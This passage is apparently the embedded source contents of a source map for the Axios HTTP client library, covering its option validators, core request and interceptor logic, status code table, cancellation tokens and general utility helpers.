validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\nvalidators.spelling = function spelling(correctSpelling) {\n return (value, opt) => {\n // eslint-disable-next-line no-console\n console.warn(`${opt} is likely a misspelling of ${correctSpelling}`);\n return true;\n }\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig || {};\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy = {};\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.allowAbsoluteUrls\n if (config.allowAbsoluteUrls !== undefined) {\n // do nothing\n } else if (this.defaults.allowAbsoluteUrls !== undefined) {\n config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n } else {\n config.allowAbsoluteUrls = true;\n }\n\n validator.assertOptions(config, {\n baseUrl: validators.spelling('baseURL'),\n withXsrfToken: validators.spelling('withXSRFToken')\n }, true);\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","const HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from \"./core/AxiosHeaders.js\";\nimport adapters from './adapters/adapters.js';\nimport HttpStatusCode from './helpers/HttpStatusCode.js';\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n *\n * @returns {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n const context = new Axios(defaultConfig);\n const instance = bind(Axios.prototype.request, context);\n\n // Copy axios.prototype to instance\n utils.extend(instance, Axios.prototype, context, {allOwnKeys: true});\n\n // Copy context to instance\n utils.extend(instance, context, null, {allOwnKeys: true});\n\n // Factory for creating new instances\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n\n return instance;\n}\n\n// Create the default instance to be exported\nconst axios = createInstance(defaults);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios;\n\n// Expose Cancel & CancelToken\naxios.CanceledError = CanceledError;\naxios.CancelToken = CancelToken;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData;\n\n// Expose AxiosError class\naxios.AxiosError = AxiosError;\n\n// alias for CanceledError for backward compatibility\naxios.Cancel = axios.CanceledError;\n\n// Expose all/spread\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\n\naxios.spread = spread;\n\n// Expose isAxiosError\naxios.isAxiosError = isAxiosError;\n\n// Expose mergeConfig\naxios.mergeConfig = mergeConfig;\n\naxios.AxiosHeaders = AxiosHeaders;\n\naxios.formToJSON = thing => formDataToJSON(utils.isHTMLForm(thing) ? new FormData(thing) : thing);\n\naxios.getAdapter = adapters.getAdapter;\n\naxios.HttpStatusCode = HttpStatusCode;\n\naxios.default = axios;\n\n// this module should only have a default export\nexport default axios\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n toAbortSignal() {\n const controller = new AbortController();\n\n const abort = (err) => {\n controller.abort(err);\n };\n\n this.subscribe(abort);\n\n controller.signal.unsubscribe = () => this.unsubscribe(abort);\n\n return controller.signal;\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nexport default CancelToken;\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n","import axios from './lib/axios.js';\n\n// This module is intended to unwrap Axios default export as named.\n// Keep top-level export same with static properties\n// so that it can keep same with es module or cjs\nconst {\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n} = axios;\n\nexport {\n axios as default,\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n}\n","/*! Axios v1.10.0 Copyright (c) 2025 Matt Zabriskie and contributors */\n'use strict';\n\nfunction bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\nconst {iterator, toStringTag} = Symbol;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n};\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(toStringTag in val) && !(iterator in val);\n};\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n};\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n };\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n};\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n};\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n};\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n};\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n};\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n};\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[iterator];\n\n const _iterator = generator.call(obj);\n\n let result;\n\n while ((result = _iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n};\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n};\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n};\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n};\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n };\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n};\n\nconst noop = () => {};\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n};\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[toStringTag] === 'FormData' && thing[iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n 